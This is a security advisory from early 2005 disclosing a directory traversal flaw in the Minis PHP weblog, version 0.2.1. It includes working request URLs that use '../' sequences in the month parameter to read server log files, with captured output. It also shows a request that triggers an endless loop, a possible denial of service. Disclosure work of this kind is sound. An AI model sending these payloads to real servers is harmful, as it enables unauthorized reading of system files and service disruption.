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Title: Minis directory traversal vulnerability Vulnerability discovery: Madelman <madelman AT iname.com> Date: 31/12/2004 Severity: Moderate
Summary: - --------
(from vendor site: http://minis.sourceforge.net/)
Minis is a tiny, PHP-powered, text-file based weblogging system. It is easily configured for normal use and it doesnt require any databases, such as MySQL. Also, with some PHP-knowledge youll be able to configure Minis endlessly.
Minis doesn't check the month parameter which allows reading any file with .log extension
This vulnerability has been tested with Minis 0.2.1
Details: - --------
If we want to read /var/log/XFree86.0.log:
REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86.0 RETURNS: (looking at source of HTML) [...] "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=This is a pre-release version of XFree86, and is not supported in any "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=way. Bugs may be reported to XFree86@xxxxxxxxxxx and patches submitted "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=to fixes@xxxxxxxxxxxx Before reporting bugs in pre-release versions, "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=please check the latest version in the XFree86 CVS repository "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=(http://www.XFree86.Org/cvs). "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry= "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=XFree86 Version 4.3.0.1 (Debian 4.3.0.dfsg.1-4 20040529113443 root@xxxxxxxxxxxxxxxxxxxxxxxxxxxxx) "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Release Date: 15 August 2003 "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=X Protocol Version 11, Revision 0, Release 6.6 "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Operating System: Linux 2.6.6-rc3-bk9 i686 [ELF] "></a><br>: <a href="minis.php?month=../../../../../../../../var/log/XFree86.0&entry=Build Date: 29 May 2004 [...]
If we try to read a file that doesn't exist (in this example /var/log/XFree86.log) Minis returns "No such month"
REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/XFree86 RESPONSE: No such month.
If we try to read a file the webserver doesn't have autorization to, Minis enters an endless loop which could cause an incredible amount of bandwith spent by the server or even a DoS
REQUEST: http://[SERVER]/minis/minis.php?month=../../../../../../../../var/log/auth RETURNS: Warning: fopen(blog/../../../../../../../../var/log/auth.log): failed to open stream: Permission denied in /var/www/minis/minis.php on line 109
../../../../../../../../var/log/auth
Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111
Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112
Warning: feof(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 111
Warning: fgets(): supplied argument is not a valid stream resource in /var/www/minis/minis.php on line 112 [...]
Timeline - --------
31/12/2004 - Vulnerability found 31/12/2004 - Vendor contacted 16/01/2005 - Vendor hasn't replied. Advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org
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